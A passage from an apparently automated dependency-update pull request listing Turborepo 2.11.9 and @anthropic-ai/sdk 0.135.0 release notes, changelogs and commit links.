href=\"https://github.com/vercel/turborepo/releases\"\u003eturbo's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTurborepo v2.11.9\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eChangelog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Release Turborepo 2.11.8 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14789\"\u003evercel/turborepo#14789\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Prefetch Cargo metadata during lazy graph construction by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14497\"\u003evercel/turborepo#14497\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Compute Berry lockfile closures once across workspaces by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14499\"\u003evercel/turborepo#14499\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Check cache hit outputs in place instead of on the blocking pool by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14524\"\u003evercel/turborepo#14524\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Speed up Berry lockfile loading by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14500\"\u003evercel/turborepo#14500\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Parse bun.lock without building a JSON syntax tree by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14502\"\u003evercel/turborepo#14502\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Skip the dry run cache batch window when there is no remote cache by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14505\"\u003evercel/turborepo#14505\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Emit lockfile closures pre-sorted and cheapen closure interning by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14525\"\u003evercel/turborepo#14525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Reuse configuration derived from turbo.json between the shim and the CLI by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14521\"\u003evercel/turborepo#14521\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report locked tools-only setup plans by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14483\"\u003evercel/turborepo#14483\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Compute Bun lockfile closures once across workspaces by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14501\"\u003evercel/turborepo#14501\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Reuse open parent directories when restoring cache archives by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14506\"\u003evercel/turborepo#14506\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Skip dropping the run right before turbo run exits by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14507\"\u003evercel/turborepo#14507\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Match literal input exclusions without compiling globs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14510\"\u003evercel/turborepo#14510\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Copy pruned package files in parallel by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14512\"\u003evercel/turborepo#14512\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report proposed first-lock and refresh setup plans by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14571\"\u003evercel/turborepo#14571\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Compress large cache archives with multithreaded zstd by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14698\"\u003evercel/turborepo#14698\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Read tracked file stats from directory listings on Windows by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14633\"\u003evercel/turborepo#14633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Diff changed lockfile resolutions with a merge instead of ordered sets by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14630\"\u003evercel/turborepo#14630\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Write dry run text output through one buffered stdout handle by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14625\"\u003evercel/turborepo#14625\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Parse pnpm-workspace.yaml once per command by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14620\"\u003evercel/turborepo#14620\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Write each file trace error to stderr in a single call by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14618\"\u003evercel/turborepo#14618\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Reuse glob validation results when re-validating turbo.json in the language server by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14615\"\u003evercel/turborepo#14615\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Keep git subprocesses off the critical path of dry runs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14610\"\u003evercel/turborepo#14610\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Classify watch file changes when they arrive instead of on a 100ms poll by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14600\"\u003evercel/turborepo#14600\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Buffer TUI raw-output spool writes by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14597\"\u003evercel/turborepo#14597\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Add the turbo query version key without re-parsing the response by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14592\"\u003evercel/turborepo#14592\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Replay cached task logs in whole-line chunks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14590\"\u003evercel/turborepo#14590\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Write each boundaries diagnostic to stderr in a single call by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14587\"\u003evercel/turborepo#14587\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Walk leading-globstar input trees in parallel without wax by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14511\"\u003evercel/turborepo#14511\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Reuse open parent directories when writing cache archives by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14513\"\u003evercel/turborepo#14513\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Index Bun lockfile subgraph lookups instead of rescanning all packages by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14514\"\u003evercel/turborepo#14514\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Render the pruned lockfile while package files are copied by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14515\"\u003evercel/turborepo#14515\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Resolve exact native npm lock cohorts by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14484\"\u003evercel/turborepo#14484\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Batch prefixed task output into one write per chunk by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14588\"\u003evercel/turborepo#14588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Share one allocation per external package identity by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14528\"\u003evercel/turborepo#14528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Remove quadratic package-name scan from microfrontends discovery by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14527\"\u003evercel/turborepo#14527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Render file trace errors on several threads by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14623\"\u003evercel/turborepo#14623\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Check boundaries packages in parallel again by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14598\"\u003evercel/turborepo#14598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Read PTY child output in 8 KiB chunks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14594\"\u003evercel/turborepo#14594\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Load each package's tsconfig once when checking boundaries by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14589\"\u003evercel/turborepo#14589\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Skip the file watcher round trip when checking outputs for new task hashes by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14626\"\u003evercel/turborepo#14626\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Refresh only memory stats in \u003ccode\u003eturbo info\u003c/code\u003e by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14593\"\u003evercel/turborepo#14593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Walk and record prune copy plans in parallel by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14522\"\u003evercel/turborepo#14522\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Reconcile sealed clone-local setup selections by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14485\"\u003evercel/turborepo#14485\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/64d5e4804a02f97d4e0c2910e9164a67605201df\"\u003e\u003ccode\u003e64d5e48\u003c/code\u003e\u003c/a\u003e publish 2.11.9 to registry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/78b039e3affea8a977af17931b7361ab4da3bb00\"\u003e\u003ccode\u003e78b039e\u003c/code\u003e\u003c/a\u003e fix(cache): Parallelize dry-run HEAD fallback (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14801\"\u003e#14801\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/6834819dd859af2e0d278b6b1ef0f81b3e984bb0\"\u003e\u003ccode\u003e6834819\u003c/code\u003e\u003c/a\u003e docs: Use .NET in the multi-language guide (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14793\"\u003e#14793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/679efb8ea421d1446538cb74f842c8677cb21922\"\u003e\u003ccode\u003e679efb8\u003c/code\u003e\u003c/a\u003e refactor: Remove setup lifecycle script controls (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14818\"\u003e#14818\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/9c9085246b7b807eb06752ab25f9f772ffd19070\"\u003e\u003ccode\u003e9c90852\u003c/code\u003e\u003c/a\u003e fix: Allow native package manager configuration during setup (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14816\"\u003e#14816\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/a3bcc4a0e578a8fc0518a2e32eb523f07f09b036\"\u003e\u003ccode\u003ea3bcc4a\u003c/code\u003e\u003c/a\u003e chore: Release Turborepo 2.11.9-canary.1 (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14817\"\u003e#14817\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/9328416c56b6ce69d1a668e72334c62c6555c1db\"\u003e\u003ccode\u003e9328416\u003c/code\u003e\u003c/a\u003e fix: Stop installing the Unix shell hook automatically (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14813\"\u003e#14813\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/74c9fbca766f3313a48dc7d989b57ba2aa0d4b53\"\u003e\u003ccode\u003e74c9fbc\u003c/code\u003e\u003c/a\u003e fix: Attribute Cargo.lock changes to the crates whose dependencies changed (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/a3ef52ae52d634da121e4a18d9f726dfb9c1bbf2\"\u003e\u003ccode\u003ea3ef52a\u003c/code\u003e\u003c/a\u003e chore: Update with-changesets example (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14638\"\u003e#14638\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f05411f0eaa1e56d97af590647b97aa872281dca\"\u003e\u003ccode\u003ef05411f\u003c/code\u003e\u003c/a\u003e perf: Skip newline normalization copies for already-normalized TUI output (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/turborepo/compare/v2.10.8...v2.11.9\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@anthropic-ai/sdk` from 0.115.0 to 0.135.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/releases\"\u003e@​anthropic-ai/sdk's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003esdk-v0.135.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add between_tools to thinking types in model capabilities\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add the speed parameter and usage.speed to Messages\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e return a Console organization's usage-tier spend cap as a read-only spend limit\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e close streams dropped without being read to the end\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e keep an unread JSONL response open while it is held\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eci:\u003c/strong\u003e speed up breaking change detection\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e describe headers on Managed Agents and telemetry endpoints\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e note that some models need a beta header to use speed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003esdk-v0.134.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add execution_identity to Managed Agents agents\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add organization_type_not_supported error to spend limit lists\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add telemetry destination test endpoint\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add telemetry destinations to the Admin API\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eclient:\u003c/strong\u003e add native support for OpenTelemetry tracing\u003c/p\u003e\n\u003cp\u003eIf your app registers a global tracer provider, the SDK will create spans with it after upgrading, and they'll be exported with the rest of your traces. Requests will also get trace context headers from the global propagator. To disable, pass \u003ccode\u003eopenTelemetry: false\u003c/code\u003e to the client or set \u003ccode\u003eANTHROPIC_OPEN_TELEMETRY=false\u003c/code\u003e. Learn more in the \u003ca href=\"https://platform.claude.com/docs/en/manage-claude/opentelemetry/sdk\"\u003edocumentation\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e rename telemetry destination test response model\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e close an unread stream that was dropped while tracing is on\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e don't follow redirects on token requests\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e treat proxy-authorization as a sensitive header\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e tolerate unknown event types in MessageStream and BetaMessageStream\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e stop throwing \u0026quot;Unexpected event order\u0026quot; for an event before message_start\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e yield events that arrive before message_start when iterating MessageStream and BetaMessageStream\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/blob/main/CHANGELOG.md\"\u003e@​anthropic-ai/sdk's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/compare/sdk-v0.134.0...sdk-v0.135.0\"\u003e0.135.0\u003c/a\u003e (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add between_tools to thinking types in model capabilities\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add the speed parameter and usage.speed to Messages\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e return a Console organization's usage-tier spend cap as a read-only spend limit\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e close streams dropped without being read to the end\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e keep an unread JSONL response open while it is held\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eci:\u003c/strong\u003e speed up breaking change detection\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e describe headers on Managed Agents and telemetry endpoints\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e note that some models need a beta header to use speed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/compare/sdk-v0.133.0...sdk-v0.134.0\"\u003e0.134.0\u003c/a\u003e (2026-10-14)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add execution_identity to Managed Agents agents\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add organization_type_not_supported error to spend limit lists\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add telemetry destination test endpoint\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add telemetry destinations to the Admin API\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eclient:\u003c/strong\u003e add native support for OpenTelemetry tracing\u003c/p\u003e\n\u003cp\u003eIf your app registers a global tracer provider, the SDK will create spans with it after upgrading, and they'll be exported with the rest of your traces. Requests will also get trace context headers from the global propagator. To disable, pass \u003ccode\u003eopenTelemetry: false\u003c/code\u003e to the client or set \u003ccode\u003eANTHROPIC_OPEN_TELEMETRY=false\u003c/code\u003e. Learn more in the \u003ca href=\"https://platform.claude.com/docs/en/manage-claude/opentelemetry/sdk\"\u003edocumentation\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e rename telemetry destination test response model\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e close an unread stream that was dropped while tracing is on\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e don't follow redirects on token requests\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e treat proxy-authorization as a sensitive header\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e tolerate unknown event types in MessageStream and BetaMessageStream\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e stop throwing \u0026quot;Unexpected event order\u0026quot; for an event before message_start\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/04a4c28c70de498d6d0e930e43edb5edb9ac545e\"\u003e\u003ccode\u003e04a4c28\u003c/code\u003e\u003c/a\u003e release: 0.135.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/69dbe62f377e3a12e14ef087d139bbdad410cb64\"\u003e\u003ccode\u003e69dbe62\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/anthropics/anthropic-sdk-typescript/issues/935\"\u003e#935\u003c/a\u003e from anthropics/synced/published\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/b61a531fcc3de9a45e9330257655fa798b33ab53\"\u003e\u003ccode\u003eb61a531\u003c/code\u003e\u003c/a\u003e feat(helpers): retry a rate-limited 